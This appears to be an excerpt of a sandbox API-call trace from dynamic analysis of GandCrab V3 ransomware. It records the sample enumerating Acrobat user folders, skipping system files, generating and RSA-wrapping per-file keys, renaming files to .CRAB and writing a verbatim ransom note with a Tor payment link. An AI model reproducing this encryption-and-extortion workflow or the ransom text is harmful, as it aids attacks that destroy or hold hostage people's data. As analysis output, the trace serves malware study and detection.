	[0109.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB.CRAB"
	[0109.007] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0109.007] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.008] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.008] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0109.008] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.008] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.008] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0109.008] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.009] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.009] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0109.009] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.009] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.009] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.010] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.010] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0109.010] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd803a0) returned 1
	[0109.010] CryptGetKeyParam (in: hKey=0xd803a0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.010] CryptEncrypt (in: hKey=0xd803a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0109.011] GetLastError () returned 0x0
	[0109.011] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.011] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0109.012] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80420) returned 1
	[0109.012] CryptGetKeyParam (in: hKey=0xd80420, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.012] CryptEncrypt (in: hKey=0xd80420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0109.012] GetLastError () returned 0x0
	[0109.012] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.012] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0109.013] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.013] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.013] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x16, lpOverlapped=0x0) returned 1
	[0109.025] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.026] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.026] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.026] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.026] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x20, lpOverlapped=0x0) returned 1
	[0109.026] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.027] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.030] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.031] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.031] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0109.031] CloseHandle (hObject=0x3fc) returned 1
	[0109.032] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.032] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.032] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.032] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.033] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.033] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.034] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.034] lstrcmpW (lpString1="GlobSettings", lpString2=".") returned 1
	[0109.034] lstrcmpW (lpString1="GlobSettings", lpString2="..") returned 1
	[0109.034] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings"
	[0109.034] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.034] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75
	[0109.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75
	[0109.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75
	[0109.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="desktop.ini") returned 1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="autorun.inf") returned 1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="ntuser.dat") returned -1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="iconcache.db") returned -1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="bootsect.bak") returned 1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="boot.ini") returned 1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="ntuser.dat.log") returned -1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="thumbs.db") returned -1
	[0109.034] lstrcmpiW (lpString1="GlobSettings", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.034] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.035] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB") returned 80
	[0109.035] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings")) returned 0x20
	[0109.035] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", dwFileAttributes=0x20) returned 1
	[0109.036] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings.crab")) returned 1
	[0109.038] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.038] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB"
	[0109.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB.CRAB"
	[0109.038] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0109.039] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.039] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.039] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0109.039] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.039] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.040] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0109.040] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.040] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.041] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.041] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0109.041] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.041] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.041] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.041] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.042] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0109.042] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80460) returned 1
	[0109.042] CryptGetKeyParam (in: hKey=0xd80460, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.042] CryptEncrypt (in: hKey=0xd80460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0109.043] GetLastError () returned 0x0
	[0109.043] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.043] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0109.043] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80be0) returned 1
	[0109.043] CryptGetKeyParam (in: hKey=0xd80be0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0109.043] CryptEncrypt (in: hKey=0xd80be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0109.044] GetLastError () returned 0x0
	[0109.044] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.044] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0109.044] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.045] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.045] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x18, lpOverlapped=0x0) returned 1
	[0109.056] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.057] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.057] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.057] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.058] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x20, lpOverlapped=0x0) returned 1
	[0109.058] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.058] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.062] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.062] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0109.062] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0109.062] CloseHandle (hObject=0x3fc) returned 1
	[0109.063] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.063] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.065] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.065] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.066] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.066] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0109.066] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0109.066] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.066] lstrcmpW (lpString1="Security", lpString2=".") returned 1
	[0109.066] lstrcmpW (lpString1="Security", lpString2="..") returned 1
	[0109.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security"
	[0109.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\"
	[0109.066] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.066] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.067] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.067] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.067] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.067] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.067] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.067] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.067] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.067] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\CRAB-DECRYPT.txt") returned 81
	[0109.067] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0109.067] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.067] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0109.068] CloseHandle (hObject=0x3f8) returned 1
	[0109.068] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.068] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned 64
	[0109.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*"
	[0109.068] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80360
	[0109.068] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.069] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.069] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.069] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.069] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.069] lstrcmpW (lpString1="addressbook.acrodata", lpString2=".") returned 1
	[0109.069] lstrcmpW (lpString1="addressbook.acrodata", lpString2="..") returned 1
	[0109.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata"
	[0109.069] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.069] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84
